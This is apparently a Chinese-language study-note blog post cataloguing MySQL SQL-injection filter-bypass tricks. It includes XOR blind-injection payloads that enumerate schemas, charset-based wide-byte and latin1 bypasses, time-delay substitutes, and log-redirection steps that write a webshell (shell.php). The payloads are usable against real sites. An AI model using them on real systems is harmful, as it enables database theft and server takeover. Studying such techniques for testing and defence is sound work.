SQL注入3-常见绕过技巧
前言
复习sql注入时查询网上的一些资料,发现良莠不齐,于是对网上的大部分sql注入绕过技巧进行总结,仅用于个人学习。
输出过滤
对输出的回显过滤,一般比较少见,可以用盲注的方法,也可以用:
- 编码函数:
TO_BASE64()
,HEX()
,URLENCODE()
等进行绕过 - 替换函数:
REPLACE(str, from_str, to_str)
嵌套进行绕过 INTO OUTFILE 'filename'
绕过secure_file_priv
值为空- 知道导出文件的完整路径(Linux通常是:
/var/www/html/
) 都能写shell了还绕什么
对符号过滤的绕过
对数字字母过滤的绕过
- ture
- false
- pi()
- version()
- floor()
- ceil()
对空格过滤的绕过
1 | %09 |
用URL 编码表示的制表符 (Tab)。
1 | %0a |
用URL 编码表示的换行符 (LF)。
1 | %0b |
用URL 编码表示的垂直制表符。
1 | %0c |
用URL 编码表示的换页符。
1 | %0d |
用URL 编码表示的回车符 (CR)。
1 | %a0 |
用URL 编码表示的非断行空格 (Non-breaking Space)。
1 | %00 |
用URL 编码表示的 NULL 字符。
1 | + |
SQL中支持+代替空格。
1 | /**/ |
SQL 中的多行注释。
1 | /*!*/ |
SQL中 的内联注释符。
eg:
1 | /*!SELECT*/VERSION(); |
1 | () |
用于SQL函数调用或子查询。
payload:
1 | -1'Union(Select(id),(username),(password)from(user)where(username)='admin')%23 |
对引号过滤的绕过
16进制编码
SQL查询
1 | select * from user where username="Admin" |
16 进制编码字符
1 | select * from user where username=0x41646d696e |
ASCII编码
SQL查询
1 | select * from user where username="Admin" |
ASCII编码字符结合char()
与concat()
1 | select * from user where username=concat(char(65),char(100),char(109),char(105),char(110)) |
hex()与unhex()
1 | select id from table1 where id=unhex(hex(12850)); |
22的hex为0x3232
0x3232的十进制为12850
对逗号过滤的绕过
limit()
1 | select * from test where id=1 limit 1,2; |
substr()、substring()、mid()
1 | substr(string, start, length) |
JOIN
1 | union select 1,2 |
对<>=过滤的绕过
strcmp()
1 | strcmp(value1,value2) |
value1
小于value2
,返回 -1,其它情况返回 1。
greatest()
1 | GREATEST(value1, value2, ..., valueN) |
返回多个参数中的最大值。
least()
1 | LEAST(value1, value2, ..., valueN) |
返回多个参数中的最小值。
BETWEEN … AND …
1 | value BETWEEN lower_bound AND upper_bound |
in
直接看示例
1 | substr(username,1,1) in ('A') |
LIKE\RLIKE\REGEXP
LIKE
可以通过将数字隐式转换成字符,再和特定的字符比较,适合支持将数字隐式转换为字符串
1 | value LIKE '65' |
RLIKE(mysql特有)\REGEXP适合匹配字符,支持正则表达式,可以实现更复杂的匹配需求。
组合
1 | GREATEST(value, 65) BETWEEN 65 AND 65 -- value<=65 |
对注释符号过滤的绕过
--%20
%23
;00
也可以直接闭合注入点。
字符编码转换绕过
宽字节注入
GB2312的高位范围是0xA1-0xF7,低位范围是0xA1-0xFE,而字符\的编码为0x5C,未在GB2312的低位范围内,所以GB2312无法识别\字符,从而避免了宽字节注入的问题。
GBK的低位范围包含更多字符,因此可以构造出含有\的编码,从而可能导致宽字节注入。
payload:
1 | ?id=1 %df' union select |
原理:
1 | %df%27===>(addslashes)====>%df%5c%27====>(GBK)====>運' |
修复宽字节注入时,使用addslashes
在GBK编码下并不行。可以使用mysql_real_escape_string
。
具体细节参考宽字节注入深度讲解。
利用latin1字符集绕过
ISO-8859-1(又称为 Latin-1)是一种字符编码标准,用于表示西欧和美洲的字符。
- MySQL 5.7 及以前 默认编码: latin1。
- MySQL 8.0 及之后 默认编码:utf8mb4。
MySQL遇到无法正确转换为utf8的字符时,通常会直接忽略。
payload:
1 | ?username=admin%c2 |
存储时%c2
部分被忽略,实际存储的值变为admin
。(%c2
可以换为%c2
-%ef
)
MySQL配置严格模式(如sql_mode
设置STRICT_TRANS_TABLES
)的情况下在字符转换失败时会报错误。
对关键字过滤的绕过
对布尔运算符过滤的绕过
and
可以使用&&
替换,也可以用:
id=1=(condition)
等价于id=1 and condition
。
or
可以用||
替换。
not
可以!
替换。
xor
在两边取值为布尔值(或1&0)时可以被^
替换。
异或注入
数据库
1 | id=2'^!(SELECT(ASCII(MID((SELECT(GROUP_CONCAT(schema_name))FROM(information_schema.schemata)),1,1))=104))^'1'='1 |
数据表
1 | id=2'^!(SELECT(ASCII(MID((SELECT(GROUP_CONCAT(table_name))FROM(information_schema.tables)WHERE(table_schema='ctf')),1,1))=104))^'1'='1 |
字段
1 | id=2'^!(SELECT(ASCII(MID((SELECT(GROUP_CONCAT(column_name))FROM(information_schema.columns)WHERE(table_name='table_1')),1,1))=104))^'1'='1 |
脚本
1 | import requests |
对where过滤的绕过
使用 GROUP BY
+HAVING
替代 WHERE
可以用 GROUP BY
结合 HAVING
子句来实现与 WHERE 相似的功能。like或引号被过滤可以使用regexp。
1 | SELECT value FROM table1 GROUP BY value HAVING value LIKE 'flag%'; |
1 | SELECT value FROM table1 GROUP BY value HAVING (BINARY substr(value,1,5)) regexp(0x666c6167); |
使用JOIN
替代WHERE
1 | SELECT a.value FROM table1 a JOIN table1 b ON a.value like 'flag%'; |
1 | SELECT a.value FROM table1 a JOIN table1 b ON (BINARY substr(a.value,1,5) regexp(0x666c6167)); |
对like过滤的绕过
使用regexp注入,见对where过滤的绕过
。
对select过滤的绕过
使用table
绕过,mysql8.0新特性。
利用PCRE非贪婪匹配机制漏洞绕过
这个本质上是网站WAF中使用的PCRE非贪婪匹配机制导致的漏洞。
1 | import requests |
具可以体参考这篇文章:PHP利用PCRE回溯次数限制绕过某些安全限制
对information_schema过滤的绕过
InnoDB 引擎表
- mysql.innodb_table_stats: 存储 InnoDB 表的统计信息。
- mysql.innodb_index_stats: 存储 InnoDB 索引的统计信息。
这两个表会记录表和索引的信息,日志会定期更新。 - MySQL 5.6 及以上版本
1 | select distinct table_name from mysql.innodb_table_stats where database_name = database(); |
系统表
- MySQL 5.7.9及以上版本
1 | #通过表文件的存储路径获取表名 |
某些情况下sys
表可以替代 information_schema
,提供更高效的查询性能。
可查字段
摘自Mysql 注入基础小结。
- schema
information_schema.COLUMNS
->TABLE_SCHEMA
information_schema.KEY_COLUMN_USAGE
->CONSTRAINT_SCHEMA
,TABLE_SCHEMA
,REFERENCED_TABLE_SCHEMA
information_schema.PARTITIONS
->TABLE_SCHEMA
information_schema.SCHEMATA
->SCHEMA_NAME
information_schema.STATISTICS
->TABLE_SCHEMA
information_schema.TABLES
->TABLE_SCHEMA
information_schema.TABLE_CONSTRAINTS
->CONSTRAINT_SCHEMA
,TABLE_SCHEMA
mysql.INNODB_INDEX_STATS
->database_name
mysql.INNODB_TABLE_STATS
->database_name
- table
information_schema.COLUMNS
->TABLE_NAME
information_schema.KEY_COLUMN_USAGE
->TABLE_NAME
,REFERENCED_TABLE_NAME
information_schema.PARTITIONS
->TABLE_NAME
information_schema.STATISTICS
->TABLE_NAME
information_schema.TABLES
->TABLE_NAME
information_schema.TABLE_CONSTRAINTS
->TABLE_NAME
mysql.INNODB_INDEX_STATS
->table_name
mysql.INNODB_TABLE_STATS
->table_name
- column
information_schema.COLUMNS
->COLUMN_NAME
information_schema.KEY_COLUMN_USAGE
->COLUMN_NAME
,REFERENCED_COLUMN_NAME
information_schema.STATISTICS
->COLUMN_NAME
可以用select distinct
限制一样的条目。
对函数过滤的绕过
对敏感函数过滤的常见绕过
- 大小写绕过
- 双写绕过
- 注释符绕过
- 内联注释绕过
- 编码绕过
等价替代函数
SLEEP() | benchmark(count, expr), get_lock(str, timeout),笛卡尔积 |
CONCAT_WS() | GROUP_CONCAT() |
MID(),SUBSTR() | SUBSTRING() |
@@user | USER(),SESSION_USER(),CURRENT_USER(),SYSTEM_USER() |
@@datadir | DATADIR() |
database() | schema() |
ASCII(str) | ORD(str) |
HEX(),BIN(),OCT() | CONV(N,from,to) |
@@VERSION,@@GLOBAL.VERSION | version() |
笛卡尔积的使用
笛卡尔积会导致延时,尤其是表很大时,适合用于sleep
和benchmark
被过滤时。
1 | SELECT COUNT(*) FROM information_schema.tables CROSS JOIN information_schema.columns |
benchmark()替换
eg:
1 | benchmark(100000,md5(1)) |
getlock()测试
基于sqlmap的一个tamper。
1 | #!/usr/bin/env python |
对if()的绕过
利用case
语句绕过
1 | case when condition then 1 else 0 end |
利用locate()
函数绕过
1 | locate(substr(user(),1,1),'a') |
利用and
绕过
1 | condition and sleep(1); |
利用MAKE_SET()
绕过
1 | MAKE_SET((LENGTH(DATABASE())=4),sleep(1),1); |
利用ELT(N,str1,str2,str3,...)
绕过
返回第 N 个字符串内容。
1 | ELT((LENGTH(DATABASE())=3),sleep(3)); |
对secure_file_priv限制的绕过
通过查询日志getsell
请求日志(默认OFF)
设置slow_query_log=1 启用慢查询日志
1 | set global slow_query_log=1; |
修改slow_query_log_file日志文件的绝对路径与文件名
1 | set global slow_query_log_file='/path/shell.php' |
慢查询日志(默认OFF)
开启查询日志
1 | set global general_log='ON' |
设置操作记录日志路径
1 | set global general_log_file='/path/shell.php' |
无列名注入
子查询利用union改列名
1 | select `3` from (select 1,2,3 union select * from table3)c; |
order by比较盲注
1 | select * from admin where username='admin' or 1 union select 1,2,binary '字符串' order by 3; |
在第三个字符串不回显的情况下,通过order by比较,通过其他参数回显的变化判断。
报错注入中利用join+using注列名
见报错注入